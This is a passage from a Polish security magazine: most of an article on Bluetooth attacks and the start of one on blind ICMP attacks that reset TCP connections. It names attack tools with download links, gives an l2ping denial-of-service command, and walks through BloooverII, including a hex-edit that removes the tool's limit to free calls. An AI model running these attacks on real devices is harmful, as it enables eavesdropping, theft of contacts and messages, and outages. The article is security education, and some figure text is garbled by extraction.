które mogą mieć do niej dostęp (tru-

sted device), jeśli dane urządzenie
nie znajduje się na tej liście wymaga-
ne jest potwierdzenie ze strony użyt-
kownika.

W ramach tych poziomów stoso-

wanych jest pięć głównych elemen-
tów: adres BD_ADDR: adres fizycz-
ny poszczególnego urządzenia (swe-
go rodzaju MAC Address), klucz ko-

dujący (8-128 bit), klucz połączenia
(128 bit), liczby pseudolosowe (128
bit), algorytmy służące do genero-

wania kluczy (E0, E21, E22, itd.).

Jak widzicie, łatwo jest odnaleźć

wszystkie te elementy na czterech
poziomach.

Teraz zobaczymy gdzie znajdu-

ją się słabości tego mechanizmu.
Pierwsza i najbardziej oczywista
tkwi w mechanizmie pairingu, któ-
ry, jak zostało to opisane, przewidu-
je wprowadzenie pinu. Jeśli pin zo-
stał określony w samym urządzeniu
można wręcz przeprowadzić atak

online typu brute-force (tj. bezpo-
średnio przeciwko urządzeniu ofia-
ry). Natomiast w przypadku słabe-
go pinu, można dokonać ataku of-

fline (nie bezpośrednio przeciwko
urządzeniu ofiary), tzw. ataku prze-

ciwko E22: w skrócie, „rejestruje” się

ruch na wszystkich 79 kanałach wy-
korzystując odpowiednie narzędzie,
a następnie, offline, testuje się roz-
maite klucze połączeniowe wygene-
rowane przy zastosowaniu rozma-
itych pinów. Taki atak jest dość kosz-
towny za sprawą potrzebnego oprzy-
rządowania.

Aby bronić się przed tego typu

atakiem jest dobrą normą stosowa-
nie długich i trudnych do odgadnięcia
pinów oraz wykonywanie pairingu w
miejscach uznawanych za bezpiecz-
ne. Jednakże i bezpieczeństwo osią-
gnięte w taki sposób jest względne,
gdyż, jak zostało to udowodnione,
dzięki prostej modyfikacji Bluetooth

dongle można dokonać ataku nawet
z odległości przekraczającej 1,5 km.
Wspaniały przykład daje nam grupa
trifinite, której URL został zamiesz-
czony w sekcji linków tego artykułu.

Poza tym istnieje szereg słabości

na poziomie aplikacji, o których bę-
dziemy mówić w dalszej części tego
artykułu. Te zależą bardziej od spe-
cyficznych implementacji zastoso-
wanych przez producentów, niż od
bugów w projektowaniu protokołów.

Techniki ataku

na Bluetooth

Mimo że jestem pasjonatem niemal-
że wszystkiego co przyniosła tech-
nologia w ciągu minionych lat, nie

zaliczam się do grona pierwszych
uzależnionych od urządzeń przeno-
śnych. Mówiąc szczerze, moja cie-
kawość została obudzona lekturą
artykułu opublikowanego w jakimś
dzienniku noszącego tytuł Kiedy bo-

li ząb..., który traktował o toothingu,
czyli o tym jak wykorzystując proto-
kół Bluetooth można wysyłać wiado-
mości do osób kompletnie nam nie-
znanych, a posiadających Bluetooth
device włączony i dyspozycyjny, w
promieniu kilku metrów. Początkowo
najbardziej uderzył mnie aspekt spo-
łeczny tego artykułu, lecz po chwi-
li refleksji otworzyły się przede mną
scenariusze znacznie bardziej roz-
ległe, w których mało ostrożni użyt-
kownicy są oszukiwani na tysiąc

Rysunek 1.

Funkcjonowanie stosu

protokołów Bluetooth

������������

��������������

����������

���������

������

���

Rysunek 2.

Ostateczny schemat stosu protokołów

����������

����

���

���

��������

���

�������

���

�����

���

��

���

������

�����

���

��������

���������������

���

�������������������������

background image

Hakowanie Bluetooth

hakin9 Nr 3/2007

www.hakin9.org

13

i jeden sposobów przez jakiegoś
przygodnego maniaka. To właśnie
od tego momentu zacząłem zgłębiać
dokumentacje związane z rozmaity-
mi typologiami ataku i obrony. Spró-
bujmy je wspólnie przeanalizować.

Bluejacking

Jak wcześniej wspomniałem, zacie-
kawiła mnie możliwość darmowe-
go komunikowania się za pośrednic-
twem systemu wiadomości z osoba-
mi kompletnie obcymi, które jednak
posiadają aktywne urządzenie Blu-
etooth w promieniu kilku metrów.
Jak to możliwe? Trzeba pamiętać,
że w fazie discovery innych urzą-
dzeń, zostaje przekazana nazwa
identyfikująca urządzenia. Nie jest
ona niczym innym jak polem teksto-
wym. Wyobraźmy sobie teraz, że po-
le tekstowe zawiera coś w rodzaju:

Problemy sieciowe, proszę wybierz

1234. Oczywiście 1234 to pin który
uprzednio wystukaliśmy na naszym
urządzeniu. Nieświadomy użytkow-
nik wystuka pin i tym samym do-
pełni pairingu. A my dokonamy ata-
ku bluejacking (termin ten począt-
kowo był wykorzystywany na okre-
ślenie wszystkich ataków na proto-
kół Bluetooth). Ten typ ataku, mają-
cy swe źródło w inżynierii socjalnej,

jest pod wieloma względami bardzo
podobny do ataku określanego mia-
nem phishing.

Poza tą empiryczną procedurą,

istnieje wiele darmowych narzędzi,
które także pozwalają na dokonanie
tego ataku.

Oto niektóre z nich: Freejack (http:

//www.bluejackq.com/freejack.jar),
SMAN (http://www.bluejackq.com/

sman13a-eng.zip), Mobiluck (http:

//www.mobiluck.com/download-Blu-

etooth-software-all-phones-en.php),
Easyjack

(http://www.getjar.com/

products/2758/EasyJack)

Internet pełen jest narzędzi przy-

stosowanych do tego celu, tu zosta-
ły wymienione tylko niektóre z nich.
Trzeba pamiętać, że rodzaj narzę-
dzia zależy także od stosowanego
telefonu komórkowego.

Discovery mode abuse

W przypadku większości urządzeń
dostępnych na rynku możliwe jest,
po włączeniu, ustalenie czy usłu-
ga Bluetooth ma być widoczna czy

ukryta. To co się wówczas dzieje w
trybie ukrytym polega na niczym in-
nym jak na odrzucaniu przez urzą-
dzenie wszelkich żądań inquiry po-
chodzących w broadcast od innych
aparatów Bluetooth. Tak więc usługi

nie zostają całkowicie dezaktywowa-
ne, lecz jedynie odrzucane są żąda-
nia kierowane do SDP. Poza tym, jak
już powiedzieliśmy, każde urządze-
nie posiada swój BD_ADDR: skła-
da się z 48 bitów, z których pierw-
sze 24 zależą wyłącznie od produ-
centa (swego rodzaju vendor code),
są więc stałe. Z pozostałych jedynie
ostatnich 6 bitów identyfikują w spo-
sób jednoznaczny urządzenie, jako
że służą do identyfikacji typu urzą-
dzenia (komórka, dongle, słuchaw-
ka, itd.). Dlatego nie jest wcale rze-
czą trudną wykrycie urządzenia Blu-
etooth, także w trybie ukrytym. Rze-
czywiście, z punktu widzenia obli-
czeniowego, można odnaleźć bity
zmienne w czasie niewiele dłuższym
niż jedna godzina.

Narzędzia służące do takiej ope-

racji, w chwili redagowania niniejsze-
go artykułu, są dostępne tylko pod
Linuksem. Są to:

• Redfang (http://www.securitywir

eless.info/Downloads-index-req-

getit-lid-41.html),

• Bluesniff

(http://

bluesniff.shmoo.com/bluesniff-

0.1.tar.gz).

Redfang jest narzędziem linii pole-
ceń zrealizowanym przez @Stake,
aktualnie stanowiącym część Sy-
manteca, i stanowi POF (Proof Of
Concept) techniki ataku już opisa-
nej. Bluesniff to front-end graficzny
do Redfang.

Blueprinting

Jest rodzajem nmap w odniesieniu
do Bluetooth. Technika ta pozwa-
la na uzyskanie informacji technicz-
nych o badanym urządzeniu, wyko-
nując matching uzyskanych charak-
terystyk z tymi obecnymi w uaktu-
alnionej bazie danych. Także w tym
przypadku istnieje narzędzie pod Li-
nuksa obsługiwane z linii poleceń:

• Blueprint

(http://trifinite.org/

Downloads/bp_v01-3.zip)

Także Redfang, przedstawiony we
wcześniejszym paragrafie, zajmuje
się blueprintingiem.

Rysunek 3.

Diagram funkcjonalny protokołu Bluetooth

�������

�������

����

���������

���

��������

����

���

����

���

����

���

�����������

�������������

�����������

�����������

�����������

�������

����������

������

������

������

���������

������

��������

���

�������

������

background image

hakin9 Nr 3/2007

www.hakin9.org

Atak

14

Bluesnarf

Jest atakiem wywodzącym się z wa-
dliwej implementacji specyfikacji
wielu telefonów komórkowych (licz-
ne modele Ericsson, Sony-Ericsson,
Nokia, Siemens, Motorola). Z bar-
dziej szczegółowym wykazem urzą-
dzeń peryferyjnych w to zamiesza-
nych można zapoznać się tu: http:

//www.thebunker.net/security/Blu-

etooth.htm.

Lecz na czym polega ten atak?

Na niczym innym jak na łączeniu się
z usługą OBEX Push (często wyko-
rzystywana w celu wymiany elektro-
nicznych wizytówek). Wadliwa imple-
mentacja w niektórych telefonach ko-
mórkowych pozwala, poza otrzymy-
waniem wizytówek, także na OBEX

Get, czyli na żądanie pliku. Tzn., je-
śli wiem że na komórce ofiary jest
obecny plik chcęgo.jar, to mogę go
ściągnąć przeskakując fazę autenty-
fikacji. Często nie trzeba nawet znać
ścieżki pliku w systemie, ponieważ
wiele aparatów zapamiętuje infor-
macje odnoszące się do systemu pli-
ków w pliku tekstowym, którego loka-
lizacja jest znana a priori, gdyż zale-
ży od systemu. Na przykład, komór-
ki Ericsson i Sony-Ericsson pierw-
szej generacji zapisują książkę tele-
foniczną w telecom/pb.vfc, a kalen-
darz w telecom/calc.vcs.

W celu dokonania tego typu

ataku wystarczy jakikolwiek client
OBEX. Oto niektóre:

• obexftp (http://openobex.triq.net/

obexftp/installing),

• obex-commander

(http://intradarma.com/

OBEXCommander.html).

Pierwszy z tych dwóch clientów jest
pod Linuksa, drugi pod Windows.

Bluesnarf++

Bardzo podobny do Bluesnarf, lecz
pozwala na pełen dostęp w zakresie
odczytu/zapisu do systemu plików,
bez konieczności pairingu.

Tu znajdziecie narzędzie do reali-

zacji tego rodzaju ataku:

• Bluediving (http://bluediving.sour-

ceforge.net/)

To narzędzie jest prawdziwą suite,
jest niezmiernie użyteczne w celu
wykonania bardzo złożonych pen-
testów. Na stronie znajduje się cały
szereg innych, na prawdę użytecz-
nych narzędzi.

Bluebug

Także ta słabość wynika ze złej im-
plementacji niektórych specyfikacji i
jest obecna tylko w niektórych mo-
delach przenośnych urządzeń pe-
ryferyjnych. W odróżnieniu od Blu-
esnarf i Bluesnarf++, pozwala na
wykonanie poleceń AT na urządze-
niu ofiary. Tym razem problem doty-
czy usług na kanale RFCOMM nie
zgłoszonych przez SDP, lecz mimo
to wykorzystywanych.

W praktyce, atakujący może uzy-

skać pełen dostęp do telefonu ko-
mórkowego, zwłaszcza może: te-
lefonować, wysyłać, czytać i elimi-
nować SMS/MMS, czytać i pisać w
książce telefonicznej, zmieniać para-
metry konfiguracyjne.

Aby wykazać istnienie tej dziu-

ry, poza wcześniej wspomnianym
Bluediving, możemy wykorzystać
BloooverII (http://trifinite.org/trifinite_

stuff_bloooverii.html). Pozwala on
na przeprowadzenie także innych
ataków, m.in. Helomoto, w gruncie
rzeczy będącego połączeniem ata-
ków Bluesnarf i Bluebug: przerywa
otrzymywanie Vcard i, za sprawą
błędu implementacyjnego, urządze-
nie pozostaje w trybie trusted. Cie-
kawostka, nazwa wywodzi się z fak-
tu, że jest to słabość typowa dla sys-
temów Motorola.

Bluesmack

Jest to atak typu DOS, i nie jest ni-
czym innym jak Ping of Death w od-
niesieniu do Bluetooth. Polega na
zwiększaniu ponad miarę echo requ-
est (L2CAP ping) mającego być wy-
słanym w kierunku urządzenia ofia-
ry. Niektóre terminale odbierają da-
ne lecz jednocześnie generują błędy
blokując zupełnie komórkę (niektóre
Compaq iPaq, na przykład).

Możemy przeprowadzić nasze

próby bądź przy pomocy niezwykle
użytecznego szwajcarskiego scyzo-

ryka Bluediving bądź ściągając je-

dynie biblioteki Bluetooth dla Linux
Bluez (http://www.bluez.org/down-

load.html, wszelako niezbędne tak-
że dla Bluediving) i formatując od-
powiednio polecenie l2ping. W przy-
padku wielu modeli iPaq wystarczy
napisać:

l2ping -s <num_byte>
z <num_byte> większym lub równym 600.

Bluebump

Jest to atak inżynierii socjalnej. Ata-
kujący ustanawia połączenie trusted
z jakimś urządzeniem, na przykład
wysyłając Vcard i zmuszając odbior-
cę do autentyfikacji (Mode-3-Abu-

se). Atakujący podtrzymuje otwarte
połączenie i mówi ofierze by ta prze-
rwała połączenie ze swoim urządze-
niem peryferyjnym. Oczywiście ofia-
ra nie jest świadoma że połączenie
jest jeszcze aktywne. W tym mo-
mencie atakujący prosi by ponownie
został wygenerowany klucz połącze-
niowy. Tym samym posiada ofiarę na
swojej liście, nie musząc ponownie
przechodzić autentyfikacji. Atakują-
cy może połączyć się z ofiarą dopó-
ki ta nie wykasuje także tego nowe-
go klucza.

Bluedump

Wykorzystując sniffer Bluetooth,
można wykonać dumping pinów i nie-
których kluczy podczas sesji Blueto-
oth. Atakujący musi znać BD_ADDR
jakiejś pary urządzeń będących w
pairingu; w tym momencie atakujący

spoofuje (wciąż poprzez Bluediving,
jeśli to możliwe) BD_ADDR jednego
z dwóch urządzeń i łączy się z dru-
gim. Kiedy ofiara przechodzi do au-
tentyfikacji, zważywszy że atakują-
cy nie posiada klucza połączeniowe-
go, jego urządzenie odpowiada po-
przez 'HCI_Link_Key _Request_Ne-

gative_Reply' co, w niektórych przy-
padkach, prowadzi do wykasowania
klucza połączeniowego na urządze-
niu ofiary i do kolejnego pairingu z
atakującym.

Bluechop

Atak pozwalający obalić całą pico-
net. Urządzenie peryferyjne wzglę-
dem piconet spoofuje urządzenie

background image

Hakowanie Bluetooth

hakin9 Nr 3/2007

www.hakin9.org

15

slave spoza piconetu a następnie
kontaktuje się z masterem tejże pi-
conet. Ponieważ protokół przewiduje
że slave przystąpi do piconetu sam
w następstwie żądania mastera, ten
gubi się i powoduje upadek picone-
tu. Także do tego ataku jest przydat-
ne narzędzie do spoofingu jak Blu-
ediving. To prawdopodobnie jedy-
ny atak na protokół Bluetooth który
nie wykorzystuje złych implementa-
cji stosu Bluetooth, ponieważ ude-
rza w urządzenia wszystkich produ-
centów.

Car whisperer

Atak na urządzenie peryferyjne Blu-
etooth audio wewnątrz samochodu.
Grupa trifinite.org przeprowadziła
go aby wyczulić producentów aut na
kwestie bezpieczeństwa urządzeń
peryferyjnych Bluetooth wewnątrz

pojazdu. Jako narzędzie do przepro-
wadzenia ataku carwhisperer (http:

//trifinite.org/trifinite_stuff_carwhi-

sperer.html) mogą posłużyć niektóre
spośród narzędzi dotychczas przez
nas poznanych, ewentualnie odpo-
wiednio zmodyfikowanych. Technika
ataku opiera się na fakcie, że urzą-
dzenia peryferyjne Bluetooth we-
wnątrz pojazdu posiadają gotowe
klucze, często wręcz znane ponie-
waż standardowe ('0000' lub '1234'
w przypadku wielu słuchawek i/lub
zestawów głośnomówiących). Efek-
tem ataku jest rejestrowanie rozmów
ofiary bądź transmisja audio fake
(fałszywe wiadomości o natężeniu
ruchu, itp.).

Worm

Kolejnym problemem Bluetooth jest
fakt jego wykorzystywania jako środ-

ka rozprzestrzeniania się niektórych
robaków. Przykładem jest Inqtana.A,
robak proof-of-concept wykorzystu-
jący do rozprzestrzeniania się tech-
nologię Bluetooth systemów Mac OS
X 10.4 (Tiger). Ten robak kopiuje się
na wszystkich urządzeniach widocz-
nych poprzez funkcjonalności OBEX
i się samowykonuje przy kolejnym
uruchomieniu systemu.

Istnieją także inne robaki (z któ-

rych wielu można uniknąć przy odro-
binie ostrożności) jak Cabir, Mabir i
inne.

Od teorii do praktyki

Zobaczymy teraz jak wprowadzić w
czyn część tego wszystkiego co wi-
dzieliśmy na poprzednich stronach.
Spośród rozmaitych egzaminowa-
nych programów użyjemy BloooverII
(http://trifinite.org/trifinite_stuff_blo-

Rysunek 6a.

Ustawianie głównych

parametrów

Rysunek 6b.

Ustawianie głównych

parametrów

Rysunek 6c.

Ustawianie głównych

parametrów

Rysunek 7.

Atak Bluebug

Rysunek 5.

Find devices

Rysunek 4.

Uruchamiamy BloooverII

background image

hakin9 Nr 3/2007

www.hakin9.org

Atak

16

ooverii.html). Ataki, których możemy
spróbować to: bluebug, helomoto, blu-
esnarf, bluesnarf++ (tylko przy zasto-
sowaniu wersji Breeeder), wysyłanie
malformed objects poprzez OBEX.

BloooverII jest programem do

urządzeń przenośnych wykorzystu-
jących MIDP 2.0 (Mobile Informa-
tion Device Profile) i Bluetooth API
JSR-82.

Najpierw instalujemy Blooove-

rII (najlepiej wersję Breeeder, któ-
ra jak widzieliśmy umożliwia także
atak bluesnarf++). Przenosimy ją
na naszą komórkę za pomocą IR-
DA, USB lub samego Bluetooth a
następnie postępujemy zgodnie z
procedurą instalacyjną. Aktywuje-
my Bluetooth na naszym telefonie
komórkowym.

Ważna uwaga: jeśli nie zosta-

ło inaczej wskazane próbujmy za-

wsze jednego tylko typu ataku z
jedną tylko funkcją, w przeciw-
nym razie nasza komórka mogła-
by się zawiesić. Inna uwaga: nie-
kiedy program, w czasie ataku, sy-
gnalizuje nazwę komórki atakującej
(tak na przykład zdarza się w przy-
padku Nokii 6310i). Tak więc, jeśli
robicie kawał przyjacielowi, zmień-
cie nazwę waszego telefonu ko-
mórkowego w taki sposób aby nie
wskazywała bezpośrednio na was.
Wreszcie, jeśli atak nie uda się za
pierwszym razem, nie poddawajcie
się i spróbujcie jeszcze raz. Niekie-
dy trzeba powtórzyć atak kilkakrot-
nie, zanim zadziała poprawnie.

Teraz możemy uruchomić Blo-

ooverII i naszym oczom ukaże się ta-
ki oto widok (Rys. 4).

Próbujemy wykryć urządzenia

peryferyjne za pomocą Find devi-

ces (Rys. 5).

Znalazłszy urządzenia zabiera-

my się za ustawienie głównych pa-
rametrów (pamiętajcie, że należy je
ponownie ustawić po każdym uru-
chomieniu Blooover 2), jak zostało to
przedstawione na Rysunku 6.

Ustawiamy je dokładnie w ta-

ki sposób jak na Rysunku 6. Teraz
spróbujemy kilku ataków. Najpierw
Bluebug (zobacz Rysunek 7).

Na zrzutce ekranowej (Rys. 8)

znajdują się konfiguracje do ataku
Bluebug. Ustawmy je tak jak na ry-
sunku. Teraz zdecydujmy co chce-
my osiągnąć poprzez ten rodzaj ata-
ku (Rys. 9).

Po kolei (Rysunki 9a-e), zosta-

ły zilustrowane ataki pozwalają-
ce na odczytanie książki telefonicz-
nej, SMS-ów, na pisanie w książ-
ce telefonicznej, na przekierowy-
wanie

połączeń

telefonicznych

otrzymanych i na inicjalizowanie

Rysunek 9a.

Przebieg ataku Bluebug

Rysunek 9b.

Przebieg ataku Bluebug

Rysunek 9c.

Przebieg ataku Bluebug

Rysunek 9d.

Przebieg ataku Bluebug

Rysunek 9e.

Przebieg ataku Bluebug

Rysunek 8.

Konfiguracje do ataku

Bluebug

background image

Hakowanie Bluetooth

hakin9 Nr 3/2007

www.hakin9.org

17

nowych. W tym momencie należy
coś doprecyzować. BloooverII nie
jest programemem dla hackerów,
przeciwnie, jest to POC (Proof of

Concept). Należy poczynić założe-

nie, że nie został pomyślany w ce-
lu wyrządzania szkód. Tak więc je-
dyne połączenie które można zreali-
zować to połączenie do darmowych
numerów. Teraz można zmodyfiko-

wać tę funkcję wykorzystując edy-
tor szesnastkowy (typu HHD Free
Hex Editor, można go ściągnąć tu:

http://www.hhdsoftware.com/free-

hex-editor.html). W praktyce wystar-
czy odpowiednio zmodyfikować plik
e.class znajdujący się wewnątrz Blo-
oover2b.jar. Po otwarciu archiwum
przy pomocy dowolnego programu
do obsługi skompresowanych archi-
wów (WinRAR bardzo dobrze się do
tego nadaje), e.class znajduje się w
org\trifinite\bloover2b. Oczywiście
informacje te nie zostają podane w
celu popełniania przestępstw, tak
więc zwracam uwagę na użytek ja-
ki z nich zrobicie.

Postępowanie związane z prze-

prowadzeniem innych ataków jest w
zasadzie podobne, tak więc możecie
spróbować ich sami. Chciałbym tylko
dodać, że niekiedy przy urachamia-
niu ataku Helomoto BloooverII bloku-
je się. W takim przypadku powtarza-
my operację uruchamiając Helomo-
to razem z Bluebug.

Podsumowanie

Jak widzieliśmy w tym artykule,
istnieje wiele różnorodnych tech-
nik ataku na protokół, bazują one
w znacznej mierze na naiwno-
ści użytkowników lub na złych im-
plementacjach stosu Bluetooth ze
strony poszczególnych producen-
tów. Oczywiście, wszystko cze-
go nauczyliśmy się w tym arty-
kule powinno służyć pomocą w
obronie naszej prywatności, a nie
w celu naruszania tejże w odnie-
sieniu do osób trzecich! Pamię-
tajmy, roztropne zachowanie jest
najlepszą obroną przeciwko za-
grożeniom płynącym z każdej sie-
ci, także z sieci Bluetooth. Wykaz
wszystkich telefonów komórko-
wych posiadających zainstalowane
Java Bluetooth API znajduje się tu:

http://www.j2mepolish.org/devices/

devices-btapi.html

Szczególność tego oprogramo-

wania polega na tym, że było pierw-
szym oprogramowaniem pozwala-
jącym na ataki, wcześniej były one
możliwe tylko przy wykorzystaniu
laptopa. l

O autorze

W Sienie ukończył Inżynierię Informatyczną, od 2001 wykonuje wolny zawód. Zajmu-
je się kształceniem, systemami i bezpieczeństwem w środowisku korporacyjnym. Jest
administratorem systemu, konsultantem w kwestiach prywatności, odpowiedzialnym
za bezpieczeństwo i systemy informatyczne wielu włoskich firm; poza tym pracuje ja-
ko wykładowca dla kilku spółek zajmujących się kształceniem, m.in Elea-De Agosti-
ni i Percorsi, i za ich sprawą zajmuje się kształceniem przedstawicieli najważniejszych
podmiotów w środowisku włoskim, jak Ministerstwo Sprawiedliwości, IBM, Alitalia i
in. Przeprowadził kilka konferencji na temat e-government dla władz Reggio Calabria
oraz posiada najprzeróżniejsze certyfikaty informatyczne, przeważnie na polu syste-
mów i bezpieczeństwa, lecz także na polu Office Automation.
W wolnym czasie jest trenerem i międzynarodowym arbitrem tenisowym.
Kontakt z autorem: www.ugolopez.it

W Sieci

http://www.Bluetooth.com/ - oficjalna strona projektu,
http://Bluetooth.interfree.it/ - strona na której wyjaśnia się w prosty sposób Blueto-

oth,

http://www.eng.tau.ac.il/~yash/shaked-wool-mobisys05/ - atak przeciwko E22,
http://trifinite.org/ - strona grupy trifinite,
http://www.securiteam.com/tools/5JP0I1FAAE.html - źródło bluefang,
http://www.betaversion.net/btdsd/ - Bluetooth Device Security Database,
http://www.niksula.hut.fi/~jiitv/bluesec.html – pogłębione bezpieczństwo Blueto-

oth,

http://ftp.vub.ac.be/~sijansse/2e%20lic/BT/Tools/Tools.html – narzędzia bezpie-

czeństwa Bluetooth,

http://it.wikipedia.org/wiki/Bluetooth – strony wikipedii poświęcone Bluetooth,
http://www.remote-exploit.org/index.php/BlueTooth – strona z bardzo dobrymi na-

rzędziami i informacjami o słabościach Bluetooth.

Terminologia

POF (Proof of Concept): wykorzystywany w środowisku badawczym, jest to prak-

tyczny eksperyment potwierdzający teorię przedstawioną w ramach traktatu lub ar-
tykułu,

Pentest (Penetration Test): są to testy przeprowadzane w odniesieniu do wszelkie-

go rodzaju sieci (a więc także i Bluetooth) w celu sprawdzenia ich rzeczywistego
bezpieczeństwa,

AT: skrót od Attention, są to polecenia pozwalające na pełne przejęcie kontroli nad

telefonem komórkowym,

DOS (Denial of Service): to zmasowany atak na usługę stawiający sobie za cel wy-

łącznie jej crash i uczynienie jej nieosiągalną,

Ping of Death: ping śmierci bierze swą nazwę od dawnej słabości Windows 95,

który zawieszał się otrzymawszy polecenie ICMP (ping właśnie) źle sformatowa-
ne,

Piconet: sieć Bluetooth w formie gwiazdy, w której jedno urządzenie zachowuje się

jako master inne natomiast jako slave. To samo urządzenie może być masterem
jednej sieci i jednocześnie slave innej sieci. Połączenie wielu piconetów nazywa
się scatternet.

background image

www.hakin9.org

hakin9 Nr 3/2007

18

Atak

P

odstawową wadą protokołu ICMP (Inter-

net Control Message Protocol) jest brak
autoryzacji wysyłanych komunikatów.

Specyfikacja nie wymaga sprawdzania, czy ko-
munikaty ICMP pochodzą z właściwego źró-
dła, natomiast niektóre rozwiązania wprowa-
dzające autoryzację nigdy nie zostały przyję-
te jako standard. Stwarza to możliwość zdalne-
go przerywania połączeń TCP lub zmniejsze-
nia ich szybkości do bardzo niskiego poziomu.
Atak tego rodzaju może być przeprowadzony w
bardzo krótkim czasie bez potrzeby podsłuchi-
wania sesji TCP.

Jak działa ICMP?

ICMP jest powszechnie wykorzystywanym pro-
tokołem, służącym do informowania o proble-
mach z siecią oraz do wykonywania działań dia-
gnostycznych. Protokół używa do tego celu trzy-
dziestu różnych komunikatów. Jest niezbędny do
poprawnego i optymalnego funkcjonowania pro-
tokołów warstwy transportowej. Najbardziej zna-
nym komunikatem jest echo request, wykorzysty-
wany przez polecenie ping do sprawdzania do-
stępności maszyny w sieci. W tym artykule skupi-
my się jedynie na kilku komunikatach związanych
z raportowaniem problemów sieciowych.

Komunikaty ICMP mogą być generowa-

ne zarówno przez połączone ze sobą ma-
szyny, jak i routery pośredniczące w trans-
misji. Przykładowo, jeśli router pośredniczą-
cy wykryje zerową wartość pola TTL (Time

to Live) w nagłówku pakietu IP, wyśle ko-
munikat ICMP (typu Time exceeded, wy-
korzystywany także przez narzędzie trace-

route do wykrywania adresów maszyn po-
średniczących w połączeniu) do nadaw-

Ataki na protokół TCP z

wykorzystaniem ICMP

Marcin Ulikowski

stopień trudności

ICMP jest protokołem wykorzystywanym głównie w diagnostyce

sieci oraz podczas trasowania pakietów. Został opracowany

ponad dwadzieścia lat temu i od tamtej pory nie wprowadzono w

nim żadnych poprawek. Problemy związane z brakiem procedur

sprawdzających wiarygodność otrzymywanych pakietów czynią

ten protokół niebezpiecznym narzędziem.

Z artykułu dowiesz się...

• na czym polega atak na protokół TCP z wyko-

rzystaniem komunikatów ICMP,

• w jaki sposób przeprowadzić przykładowy atak

z wykorzystaniem protokołu ICMP,

• jak zabezpieczyć system przed atakiem tego

rodzaju.

Co powinieneś wiedzieć...

• znajomość podstawowych informacji na temat

protokołów sieciowych i komunikacji w Interne-
cie,

• znajomość elementów nagłówka IP oraz TCP.

background image

Ataki na protokół TCP

hakin9 Nr 3/2007

www.hakin9.org

19

cy pakietu informując o tym
fakcie. Komunikaty ICMP zawie-
rają także opcjonalny kod błędu
umożliwiający dokładniejsze okre-
ślenie przyczyny problemu. Pozo-
staje otwartym pytanie, skąd sys-
tem operacyjny ma wiedzieć, któ-
rego połączenia dotyczy otrzyma-
ny komunikat? Pakiety ICMP in-
formujące o problemie sieciowym
zawierają także początkowy frag-
ment pakietu, który jako pierwszy
wywołał błąd. Fragment ten zawie-
ra nagłówek IP oraz przynajmniej
64 bitów (8 oktetów) nagłówka war-
stwy wyższej (w naszym przypad-
ku TCP). W załączonym nagłów-
ku IP znajduje się adres nadawcy
oraz odbiorcy. Osiem oktetów na-
główka TCP przenosi informacje o
porcie źródłowym i docelowym, a
także numer sekwencyjny pakie-
tu. Odbiorca na podstawie tych da-
nych może bez problemu określić
sesję, której dotyczy przesłany ko-
munikat.

Komunikaty ICMP przenoszą

kody błędów określane jako twar-
de (hard error) oraz miękkie (soft

error). Po otrzymaniu komunikatu z
twardym kodem błędu (oznaczające-
go problem, którego nie można roz-
wiązać w krótkim czasie), połącze-
nie TCP musi zostać zerwane, na-
tomiast w przypadku kodu miękkiego
może być kontynuowane. W dalszej
części skupimy uwagę tylko na twar-
dych komunikatach, ponieważ nad-
użycie komunikatów tego rodzaju
jest wykorzystywane podczas ataku.

Określanie optymalnego MTU

Fragmentacja pakietów IP jest uwa-
żana za zjawisko niepożądane z
punktu widzenia wydajności, stąd
wiele implementacji stara się jej za-
pobiegać. Jak dotąd nie jest znany

szybki i niezawodny sposób określe-
nia maksymalnej jednostki danych
(Maximum Transmission Unit – wiel-
kość określająca maksymalny roz-
miar pakietu, jaki może zostać prze-
słany bez potrzeby jego fragmenta-
cji) jeszcze przed nawiązaniem po-
łączenia. RFC-1191 określa mecha-
nizm wykrywania optymalnego MTU
(zwany Path MTU Discovery) opiera-
jący się na metodzie prób i błędów.
Polega on na wysyłaniu pakietów z
ustawioną flagą IP DF (Don't Frag-

ment) i nasłuchiwaniu komunikatów
ICMP informujących o zbyt dużym
rozmiarze pakietu i braku możliwo-
ści jego fragmentacji (Fragmenta-

tion needed and DF set). Taki komu-
nikat będzie także zawierał informa-
cję o sugerowanym rozmiarze MTU
(w 16 bitach po prawej stronie pola

unused widocznego na Rysunku 1).
Jeśli taki komunikat nadejdzie, roz-
miar pakietu zostaje zmniejszony do
odpowiednio niższej wielkości i na-
stąpi ponowna próba jego wysłania.
Rozwiązanie to, chociaż nie jest ide-
alne, pozwala dosyć szybko ustalić
MSS (Maximum Segment Size czy-
li maksymalny rozmiar segmentu da-
nych) dla połączeń TCP.

Ślepe ataki ICMP

Ataki z wykorzystaniem protokołu
ICMP są określane jako ślepe (ang.

blind), ponieważ do ich przeprowa-
dzenia nie jest wymagane podsłu-
chiwanie (tak zwany sniffing) sesji
TCP. Są więc one proste do zreali-
zowania. Potrzebujemy jedynie infor-
macji o czterech parametrach atako-
wanego połączenia:

• adres IP nadawcy,
• adres IP odbiorcy,
• port źródłowy,
• port docelowy.

Numery portów zawarte są w zakre-
sie od 0 do 65535. Jesteśmy w sta-
nie przewidzieć numer portu doce-
lowego (na przykład port 22 dla po-
łączeń SSH), natomiast numer por-
tu źródłowego pozostaje dla nas
nieznany. Nie stanowi to jednak
większego problemu. Wiemy, że
systemy operacyjne używają por-
tów z zakresu 1024-4999 (w zależ-
ności od systemu może to być jesz-
cze mniejszy zakres) dla połączeń
wychodzących. Przy użyciu łącza
o przepustowości 1Mbps, wysła-
nie pakietów ICMP z każdym moż-
liwym portem źródłowym (zawar-
tym w opcjonalnych danych) z te-
go zakresu będzie wymagało śred-
nio dwóch sekund.

Aby zerwać konkretne połącze-

nie, atakujący musi wysłać do któ-
rejkolwiek ze stron połączenia twar-
dy komunikat ICMP z odpowiadają-
cymi mu numerami portów. Jednym
z komunikatów ICMP należących do
grupy komunikatów twardych jest

Destination Host Unreachable (nie-
osiągalność miejsca przeznacze-
nia). Istnieje 16 różnych kodów błę-
du przypisanych do tego typu komu-
nikatu, jednak nas interesują tylko
trzy z nich:

protocol unreachable (nieobsłu-

giwany protokół) – kod 2,

port unreachable (nieobsługiwa-

ny port) – kod 3,

fragmentation needed and DF

set (wymagana fragmentacja)
- kod 4.

Powyższe kody błędu komunika-
tu typu trzeciego (Destination Host

Unreachable) protokołu ICMP wy-
korzystamy do przeprowadzenia
przykładowych ataków na połącze-
nia TCP. Posłużymy się w tym celu

O autorze

Zajmuje się on bezpieczeństwem sieci
i systemów komputerowych. Niekiedy
„bawi się” w programistę, tworząc coś,
co ma być przydatne, ale różnie z tym
bywa. Na co dzień student drugiego ro-
ku informatyki.
